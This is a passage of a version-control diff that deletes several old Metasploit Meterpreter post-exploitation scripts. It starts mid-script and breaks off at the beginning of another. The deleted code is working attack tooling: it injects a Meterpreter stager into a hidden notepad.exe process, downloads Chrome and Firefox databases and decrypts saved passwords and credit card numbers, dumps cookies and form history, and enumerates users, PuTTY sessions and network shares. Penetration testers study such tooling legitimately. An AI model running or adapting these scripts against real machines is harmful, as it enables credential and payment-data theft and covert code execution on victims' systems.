pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
elsif ! spawn
# Get the target process name
print_status("Duplicating into #{target}...")
# Get the target process pid
if not target_pid
target_pid = client.sys.process[target]
end
if not target_pid
print_error("Could not access the target process")
print_status("Spawning a notepad.exe host process...")
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
target_pid = note.pid
end
else
print_status("Spawning a #{target} host process...")
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
target_pid = newproc.pid
if not target_pid
print_error("Could not create a process around #{target}")
raise Rex::Script::Completed
end
end
# Do the duplication
print_status("Injecting meterpreter into process ID #{target_pid}")
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
raw = pay.generate
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_status("New server process: #{target_pid}")
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,244 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Script to extract data from a chrome installation.
#
# Author: Sven Taute <sven dot taute at gmail com>
#
require 'sqlite3'
require 'yaml'
if client.platform !~ /win32/
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
@host_info = client.sys.config.sysinfo
@chrome_files = [
{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
]
@migrate = false
@old_pid = nil
@output_format = []
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu" ],
"-m" => [ false, "Migrate into explorer.exe"],
"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-m"
@migrate = true
when "-f"
if val =~ /^j(son)?$/
@output_format << "json"
elsif val =~ /^y(aml)?$/
@output_format << "yaml"
elsif val =~ /^t(ext)?$/
@output_format << "text"
else
print_error("unknown format '#{val}'.")
raise Rex::Script::Completed
end
when "-h"
print_line("")
print_line("DESCRIPTION: Script for enumerating preferences and extracting")
print_line("information from the Google Chrome Browser on a target system.")
print_line("Decryption of creditcard information and passwords only supported")
print_line("on 32bit Windows Operating Systems.")
print_line("")
print_line("USAGE: run enum_chrome [-m]")
print_line(opts.usage)
raise Rex::Script::Completed
end
}
@output_format << "json" if @output_format.empty?
if @output_format.include?("json")
begin
require 'json'
rescue LoadError
print_error("JSON is not available.")
@output_format.delete("json")
if @output_format.empty?
print_status("Falling back to raw text output.")
@output_format << "text"
end
end
end
print_status("using output format(s): " + @output_format.join(", "))
def prepare_railgun
rg = client.railgun
if (!rg.get_dll('crypt32'))
rg.add_dll('crypt32')
end
if (!rg.crypt32.functions["CryptUnprotectData"])
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
["PBLOB","pDataIn", "in"],
["PWCHAR", "szDataDescr", "out"],
["PBLOB", "pOptionalEntropy", "in"],
["PDWORD", "pvReserved", "in"],
["PBLOB", "pPromptStruct", "in"],
["DWORD", "dwFlags", "in"],
["PBLOB", "pDataOut", "out"]
])
end
end
def decrypt_data(data)
rg = client.railgun
pid = client.sys.process.open.pid
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(1024)
process.memory.write(mem, data)
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
return "" if len == 0
decrypted = process.memory.read(addr, len)
end
def write_output(file, rows)
if @output_format.include?("json")
::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
end
if @output_format.include?("yaml")
::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
end
if @output_format.include?("text")
::File.open(file + ".txt", "w") do |f|
f.write(rows.first.keys.join("\t") + "\n")
f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
end
end
end
def process_files(username)
@chrome_files.each do |item|
in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
if item[:sql]
db = SQLite3::Database.new(in_file)
columns, *rows = db.execute2(item[:sql])
db.close
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
if @host_info['Architecture'] !~ /x64/
item[:encrypted_fields].each do |field|
print_good("decrypting field '#{field}'...")
res[field + "_decrypted"] = decrypt_data(res[field])
end
else
print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
end
end
res
end
if rows.length > 0
print_status("writing output '#{item[:out_file]}'...")
write_output(out_file, rows)
else
print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
end
else
::FileUtils.cp(in_file, out_file)
end
end
end
def extract_data(username)
chrome_path = @profiles_path + "\\" + username + @data_path
begin
client.fs.file.stat(chrome_path)
rescue
print_status("no files found for user '#{username}'")
return false
end
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
remote_path = chrome_path + '\\' + f
local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
print_status("downloading file #{f} to '#{local_path}'...")
client.fs.file.download_file(local_path, remote_path)
end
return true
end
if @migrate
current_pid = client.sys.process.open.pid
target_pid = client.sys.process["explorer.exe"]
if target_pid != current_pid
@old_pid = current_pid
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
client.core.migrate(target_pid)
print_status("done.")
end
end
host = session.session_host
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
::FileUtils.mkdir_p(@log_dir)
sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
os = @host_info['OS']
if os =~ /(Windows 7|2008|Vista)/
@profiles_path = sysdrive + "\\Users\\"
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
elsif os =~ /(2000|NET|XP)/
@profiles_path = sysdrive + "\\Documents and Settings\\"
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
end
usernames = []
uid = client.sys.config.getuid
if is_system?
print_status "running as SYSTEM, extracting user list..."
print_status "(decryption of passwords and credit card numbers will not be possible)"
client.fs.dir.foreach(@profiles_path) do |u|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
end
print_status "users found: #{usernames.join(", ")}"
else
print_status "running as user '#{uid}'..."
usernames << client.sys.config.getenv('USERNAME')
prepare_railgun
end
usernames.each do |u|
print_status("extracting data for user '#{u}'...")
success = extract_data(u)
process_files(u) if success
end
if @migrate && @old_pid
print_status("migrating back into PID=#{@old_pid}...")
client.core.migrate(@old_pid)
print_status("done.")
end
raise Rex::Script::Completed

View File

@ -1,292 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
require 'sqlite3'
@client = client
kill_frfx = false
host,port = session.session_host, session.session_port
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )
# logfile name
logfile = @logs + "/" + host + filenameinfo + ".txt"
notusrs = [
"Default",
"Default User",
"Public",
"LocalService",
"NetworkService",
"All Users"
]
#-------------------------------------------------------------------------------
#Function for getting Firefox SQLite DB's
def frfxplacesget(path,usrnm)
# Create the log
::FileUtils.mkdir_p(@logs)
@client.fs.dir.foreach(path) {|x|
next if x =~ /^(\.|\.\.)$/
fullpath = path + '\\' + x
if @client.fs.file.stat(fullpath).directory?
frfxplacesget(fullpath,usrnm)
elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i
dst = x
dst = @logs + ::File::Separator + usrnm + dst
print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")
@client.fs.file.download_file(dst, fullpath)
end
}
end
#-------------------------------------------------------------------------------
#Function for processing the Firefox sqlite DB's
def frfxdmp(usrnm)
sitesvisited = []
dnldsmade = []
bkmrks = []
cookies = []
formvals = ''
searches = ''
results = ''
placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"
formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"
searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"
cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"
bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"
download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"
url_history = @logs + ::File::Separator + usrnm + "_history.txt"
form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"
search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"
begin
print_status("\tGetting Firefox Bookmarks for #{usrnm}")
db = SQLite3::Database.new(placesdb)
#print_status("\tProcessing #{placesdb}")
db.execute('select a.url from moz_places a, moz_bookmarks b, '+
'moz_bookmarks_roots c where a.id=b.fk and parent=2'+
' and folder_id=2 and a.hidden=0') do |row|
bkmrks << row
end
print_status("\tSaving to #{bookmarks}")
if bkmrks.length != 0
bkmrks.each do |b|
file_local_write(bookmarks,"\t#{b.to_s}\n")
end
else
print_status("\tIt appears that there are no bookmarks for this account")
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
#--------------------------------------------------------------------------
begin
print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")
db.execute('SELECT url FROM moz_places, moz_historyvisits ' +
'WHERE moz_places.id = moz_historyvisits.place_id '+
'AND visit_type = "7" ORDER by visit_date') do |row|
dnldsmade << row
end
print_status("\tSaving Download list to #{download_list}")
if dnldsmade.length != 0
dnldsmade.each do |d|
file_local_write(download_list,"\t#{d.to_s} \n")
end
else
print_status("\tIt appears that downloads where cleared for this account")
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
#--------------------------------------------------------------------------
begin
print_status("\tGetting Firefox URL History for #{usrnm}")
db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +
'WHERE moz_places.id = moz_historyvisits.place_id ' +
'AND visit_type = "1" ORDER by visit_date' ) do |row|
sitesvisited << row
end
print_status("\tSaving URL History to #{url_history}")
if sitesvisited.length != 0
sitesvisited.each do |s|
file_local_write(url_history,"\t#{s.to_s}\n")
end
else
print_status("\tIt appears that Browser History has been cleared")
end
db.close
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
#--------------------------------------------------------------------------
begin
print_status("\tGetting Firefox Form History for #{usrnm}")
db = SQLite3::Database.new(formdb)
#print_status("\tProcessing #{formdb}")
db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|
formvals << "\tField: #{row[0]} Value: #{row[1]}\n"
end
print_status("\tSaving Firefox Form History to #{form_history}")
if formvals.length != 0
file_local_write(form_history,formvals)
else
print_status("\tIt appears that Form History has been cleared")
end
db.close
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
begin
print_status("\tGetting Firefox Search History for #{usrnm}")
db = SQLite3::Database.new(searchdb)
#print_status("\tProcessing #{searchdb}")
db.execute("SELECT name,value FROM engine_data") do |row|
searches << "\tField: #{row[0]} Value: #{row[1]}\n"
end
print_status("\tSaving Firefox Search History to #{search_history}")
if searches.length != 0
file_local_write(search_history,searches)
else
print_status("\tIt appears that Search History has been cleared")
end
db.close
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
# Create Directory for dumping Firefox cookies
ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")
::FileUtils.mkdir_p(ckfldr)
db = SQLite3::Database.new(cookiesdb)
db.results_as_hash = true
print_status("\tGetting Firefox Cookies for #{usrnm}")
db.execute("SELECT * FROM moz_cookies;" ) do |item|
fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")
fd.puts "Name: " + item['name'] + "\n"
fd.puts "Value: " + item['value'].to_s + "\n"
fd.puts "Host: " + item['host'] + "\n"
fd.puts "Path: " + item['path'] + "\n"
fd.puts "Expiry: " + item['expiry'].to_s + "\n"
fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"
fd.puts "isSecure: " + item['isSecure'].to_s + "\n"
fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"
fd.close
end
return results
end
#-------------------------------------------------------------------------------
#Function for getting password files
def frfxpswd(path,usrnm)
@client.fs.dir.foreach(path) {|x|
next if x =~ /^(\.|\.\.)$/
fullpath = path + '\\' + x
if @client.fs.file.stat(fullpath).directory?
frfxpswd(fullpath,usrnm)
elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
begin
dst = x
dst = @logs + ::File::Separator + usrnm + dst
print_status("\tDownloading Firefox Password file to '#{dst}'")
@client.fs.file.download_file(dst, fullpath)
rescue
print_error("\t******Failed to download file #{x}******")
print_error("\t******Browser could be running******")
end
end
}
end
#-------------------------------------------------------------------------------
# Function for checking if Firefox is installed
def frfxchk
found = false
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|
if a =~ /Firefox/
print_status("Firefox was found on this system.")
found = true
end
end
return found
end
#-------------------------------------------------------------------------------
#Function for executing all pilfering actions for Firefox
def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)
print_status("Getting Firefox information for user #{usrnm}")
frfxplacesget(frfoxdbloc,usrnm)
frfxpswd(frfoxdbloc,usrnm)
file_local_write(logfile,frfxdmp(usrnm))
end
# Function to kill Firefox if open
def kill_firefox
print_status("Killing the Firefox Process if open...")
@client.sys.process.get_processes().each do |x|
if x['name'].downcase == "firefox.exe"
print_status("\tFirefox Process found #{x['name']} #{x['pid']}")
print_status("\tKilling process .....")
session.sys.process.kill(x['pid'])
end
end
end
####################### Options ###########################
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for extracting Firefox Browser."
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
when "-k"
kill_frfx = true
end
}
if client.platform =~ /win32|win64/
if frfxchk
user = @client.sys.config.getuid
if not is_system?
envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
usrname = envs['USERNAME']
db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
if kill_frfx
kill_firefox
end
print_status("Extracting Firefox data for user #{usrname}")
frfxpswd(db_path,usrname)
frfxplacesget(db_path,usrname)
frfxdmp(usrname)
else
registry_enumkeys("HKU").each do |sid|
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/
key_base = "HKU\\#{sid}"
usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))
db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"
if kill_frfx
kill_firefox
end
print_status("Extracting Firefox data for user #{usrname}")
frfxpswd(db_path,usrname)
frfxplacesget(db_path,usrname)
frfxdmp(usrname)
end
end
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,101 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
#-------------------------------------------------------------------------------
######################## Functions ########################
def ls_logged
sids = []
sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
tbl = Rex::Text::Table.new(
'Header' => "Logged Users",
'Indent' => 1,
'Columns' =>
[
"SID",
"Profile Path"
])
sids.flatten.each do |sid|
profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath")
tbl << [sid,profile_path]
end
print_line("\n" + tbl.to_s + "\n")
end
def ls_current
key_base, username = "",""
tbl = Rex::Text::Table.new(
'Header' => "Current Logged Users",
'Indent' => 1,
'Columns' =>
[
"SID",
"User"
])
registry_enumkeys("HKU").each do |sid|
case sid
when "S-1-5-18"
username = "SYSTEM"
tbl << [sid,username]
when "S-1-5-19"
username = "Local Service"
tbl << [sid,username]
when "S-1-5-20"
username = "Network Service"
tbl << [sid,username]
else
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
key_base = "HKU\\#{sid}"
os = @client.sys.config.sysinfo['OS']
if os =~ /(Windows 7|2008|Vista)/
username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")
elsif os =~ /(2000|NET|XP)/
appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA")
username = ''
if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/
username = $1
end
end
tbl << [sid,username]
end
end
end
print_line("\n" + tbl.to_s + "\n")
end
#-------------------------------------------------------------------------------
####################### Options ###########################
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ false, "List SID's of users who have loged in to the host." ],
"-c" => [ false, "List SID's of currently loged on users." ]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
when "-l"
ls_logged
when "-c"
ls_current
end
}
if client.platform =~ /win32|win64/
if args.length == 0
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,132 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#Meterpreter script for enumerating Microsoft Powershell settings.
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
@client = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations")
print_line("USAGE: run enum_scripting_env")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
#Support Functions
#-------------------------------------------------------------------------------
def enum_users
os = @client.sys.config.sysinfo['OS']
users = []
user = @client.sys.config.getuid
path4users = ""
sysdrv = @client.sys.config.getenv('SystemDrive')
if os =~ /Windows 7|Vista|2008/
path4users = sysdrv + "\\Users\\"
profilepath = "\\Documents\\WindowsPowerShell\\"
else
path4users = sysdrv + "\\Documents and Settings\\"
profilepath = "\\My Documents\\WindowsPowerShell\\"
end
if is_system?
print_status("Running as SYSTEM extracting user list..")
@client.fs.dir.foreach(path4users) do |u|
userinfo = {}
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
userinfo['username'] = u
userinfo['userappdata'] = path4users + u + profilepath
users << userinfo
end
else
userinfo = {}
uservar = @client.sys.config.getenv('USERNAME')
userinfo['username'] = uservar
userinfo['userappdata'] = path4users + uservar + profilepath
users << userinfo
end
return users
end
#-------------------------------------------------------------------------------
def enum_powershell
#Check if PowerShell is Installed
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
print_status("Powershell is Installed on this system.")
powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion")
print_status("Version: #{powershell_version}")
#Get PowerShell Execution Policy
begin
powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy")
rescue
powershell_policy = "Restricted"
end
print_status("Execution Policy: #{powershell_policy}")
powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path")
print_status("Path: #{powershell_path}")
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
print_status("Powershell Snap-Ins:")
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
print_status("\tSnap-In: #{si}")
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}")
end
end
else
print_status("No PowerShell Snap-Ins are installed")
end
if powershell_version =~ /2./
print_status("Powershell Modules:")
powershell_module_path = @client.sys.config.getenv('PSModulePath')
@client.fs.dir.foreach(powershell_module_path) do |m|
next if m =~ /^(\.|\.\.)$/
print_status("\t#{m}")
end
end
tmpout = []
print_status("Checking if users have Powershell profiles")
enum_users.each do |u|
print_status("Checking #{u['username']}")
begin
@client.fs.dir.foreach(u["userappdata"]) do |p|
next if p =~ /^(\.|\.\.)$/
if p =~ /Microsoft.PowerShell_profile.ps1/
ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
until ps_profile.eof?
tmpout << ps_profile.read
end
ps_profile.close
if tmpout.length == 1
print_status("Profile for #{u["username"]} not empty, it contains:")
tmpout.each do |l|
print_status("\t#{l.strip}")
end
end
end
end
rescue
end
end
end
end
if client.platform =~ /win32|win64/
enum_powershell
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,104 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script for enumerating putty connections
# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
#
@client = client
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for enumerating Putty Configuration."
print_line(opts.usage)
raise Rex::Script::Completed
end
}
def hkcu_base
key_base = []
if not is_system?
key_base << "HKCU"
else
key = "HKU\\"
root_key, base_key = @client.sys.registry.splitkey(key)
open_key = @client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
keys.each do |k|
if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
key_base << "HKU\\#{k}"
end
end
end
return key_base
end
def check_putty(reg_key_base)
installed = false
app_list = []
app_list = registry_enumkeys("#{reg_key_base}\\Software")
os = @client.sys.config.sysinfo['OS']
if os =~ /(Windows 7|2008|Vista)/
username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME")
elsif os =~ /(2000|NET|XP)/
appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA")
username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/)
end
if app_list.index("SimonTatham")
print_status("Putty Installed for #{username_profile}")
installed = true
end
return installed
end
def enum_known_ssh_hosts(reg_key_base)
print_status("Saved SSH Server Public Keys:")
registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host|
print_status("\t#{host}")
end
end
def enum_saved_sessions(reg_key_base)
saved_sessions = []
sessions_protocol = ""
sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions"
saved_sessions = registry_enumkeys(sessions_key)
if saved_sessions.length > 0
saved_sessions.each do |saved_session|
print_status("Session #{saved_session}:")
sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol")
if sessions_protocol =~ /ssh/
print_status("\tProtocol: SSH")
print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}")
print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}")
print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}")
elsif sessions_protocol =~ /serial/
print_status("\tProtocol: Serial")
print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}")
print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}")
print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}")
print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}")
end
end
end
end
if client.platform =~ /win32|win64/
hkcu_base.each do |hkb|
if check_putty(hkb)
enum_known_ssh_hosts(hkb)
enum_saved_sessions(hkb)
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,124 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares,"
print_line "History of UNC Paths entered in Run Dialog."
print_line(opts.usage)
raise Rex::Script::Completed
end
}
# Function for enumerating recent mapped drives on target machine
def enum_recent_mounts(base_key)
recent_mounts = []
partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer'
full_path = "#{partial_path}\\Map Network Drive MRU"
explorer_keys = registry_enumkeys(partial_path)
if explorer_keys.include?("Map Network Drive MRU")
registry_enumvals(full_path).each do |k|
if not k =~ /MRUList/
recent_mounts << registry_getvaldata(full_path,k)
end
end
end
return recent_mounts
end
# Function for enumerating UNC Paths entered in run dialog box
def enum_run_unc(base_key)
unc_paths = []
full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU'
registry_enumvals(full_path).each do |k|
if k =~ /./
run_entrie = registry_getvaldata(full_path,k)
unc_paths << run_entrie if run_entrie =~ /^\\\\/
end
end
return unc_paths
end
def enum_conf_shares()
target_os = client.sys.config.sysinfo['OS']
if target_os =~ /Windows 7|Vista|2008/
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares'
else
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares'
end
shares = registry_enumvals(shares_key)
if shares.length > 0
print_status()
print_status("The following shares where found:")
shares.each do |s|
share_info = registry_getvaldata(shares_key,s).split("\000")
print_status("\tName: #{s}")
share_info.each do |e|
name,val = e.split("=")
print_status("\t#{name}: #{val}") if name =~ /Path|Type/
end
print_status()
end
end
end
if client.platform =~ /win32|64/
# Variables to hold info
mount_history = []
run_history = []
# Enumerate shares being offered
enum_conf_shares()
if not is_system?
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
run_history = enum_run_unc("HKEY_CURRENT_USER")
else
user_sid = []
key = "HKU\\"
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
keys.each do |k|
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
end
user_sid.each do |us|
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}")
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}")
end
end
# Enumerate Mount History
if mount_history.length > 0
print_status("Recent Mounts found:")
mount_history.each do |i|
print_status("\t#{i}")
end
print_status()
end
#Enumerate UNC Paths entered in the Dialog box
if run_history.length > 0
print_status("Recent UNC paths entered in Run Dialog found:")
run_history.each do |i|
print_status("\t#{i}")
end
print_status()
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,87 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
@client = client
location = nil
search_blob = []
input_file = nil
output_file = nil
recurse = false
logs = nil
@opts = Rex::Parser::Arguments.new(
